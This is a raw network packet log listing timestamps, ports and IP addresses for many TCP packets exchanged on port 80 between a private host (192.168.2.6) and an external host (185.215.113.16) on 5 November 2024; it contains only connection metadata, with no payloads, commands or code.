Nov 5, 2024 20:52:10.311930895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311965942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.311989069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.312010050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.312015057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.312026978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.312033892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.312056065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.312063932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.312083960 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.312098026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.312777042 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.312844992 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314423084 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314459085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314470053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314522982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314544916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314560890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314578056 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314620018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314644098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314660072 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314673901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314693928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314724922 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314749956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314770937 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314785004 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314794064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314800024 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314830065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314836979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314860106 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314879894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314884901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314909935 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314915895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314939022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314944029 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314960003 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.314968109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.314981937 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315004110 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315018892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315026045 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315038919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315047979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315066099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315068960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315078974 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315094948 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315102100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315125942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315131903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315146923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315164089 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315170050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315179110 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315196037 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315207005 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315217972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315228939 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315239906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315265894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315275908 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315332890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315354109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315375090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315383911 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315392017 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315396070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315416098 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315418959 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315433025 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315442085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315458059 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315462112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315478086 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315495968 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315499067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315521955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315542936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315556049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315562963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315582991 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315586090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315607071 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315609932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315618992 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315648079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315649033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315674067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315685034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315695047 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315711975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315732002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315732956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315754890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315771103 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315777063 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315794945 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315799952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315821886 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315840006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315843105 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315861940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315866947 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315886021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315901995 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315920115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315934896 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315941095 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315960884 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315962076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.315968990 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.315985918 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316004992 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316018105 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316025972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316046000 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316046953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316070080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316070080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316078901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316093922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316117048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316134930 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316137075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316157103 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316162109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316183090 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316186905 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.316209078 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.316220045 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333132982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333175898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333184958 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333199024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333220005 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333277941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333292961 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333302021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333321095 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333326101 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333347082 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333375931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333395004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333420992 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333441019 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333460093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333462000 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333503962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333543062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333549023 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333561897 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333569050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333586931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333592892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333621025 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333632946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333645105 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333669901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333698034 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333709955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333738089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333745956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333776951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333790064 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333815098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333833933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333853006 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333853006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333879948 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333895922 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333901882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333924055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333935976 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.333949089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.333975077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334002018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334018946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334027052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334048986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334050894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334073067 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334074974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334094048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334099054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334120035 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334136963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334142923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334161997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334186077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334202051 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334208965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334228039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334248066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334266901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334273100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334300995 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334312916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334328890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334340096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334362984 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334372044 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334378958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334407091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334420919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334431887 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334439993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334455013 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334470987 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334479094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334495068 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334505081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334517002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334528923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334542990 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334556103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334572077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334578991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334594011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334603071 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334618092 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334624052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334641933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334649086 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334666014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334672928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334695101 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334712029 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334721088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334738016 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334747076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334764004 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334772110 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334784031 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334810019 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334825993 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334850073 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334865093 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334891081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334898949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334923029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334945917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334948063 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.334959030 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334984064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.334992886 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335004091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335011005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335032940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335036039 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335051060 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335062027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335087061 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335103989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335124016 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335190058 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335213900 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335237980 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335238934 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335244894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335264921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335288048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335304022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335315943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335342884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335371971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335386038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335397005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335422039 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335422993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335443020 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335448027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335465908 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335488081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335505962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335511923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335524082 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335537910 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335550070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335562944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335587025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335602999 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335613966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335628033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335640907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335650921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335664034 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335699081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335706949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335725069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335740089 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335751057 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335760117 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335776091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335798979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335809946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335829020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335839987 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335867882 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335867882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335892916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335901976 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335915089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335937977 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335941076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335947990 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.335967064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.335978985 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336004972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336007118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336030960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336045027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336050987 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336062908 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336074114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336102009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336110115 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336112976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336137056 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336146116 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336160898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336167097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336200953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336204052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336230040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336251974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336275101 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336280107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336307049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336316109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336340904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336345911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336354017 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336369991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.336385965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.336395979 CET	80	50011	185.215.113.16	192.168.2.6
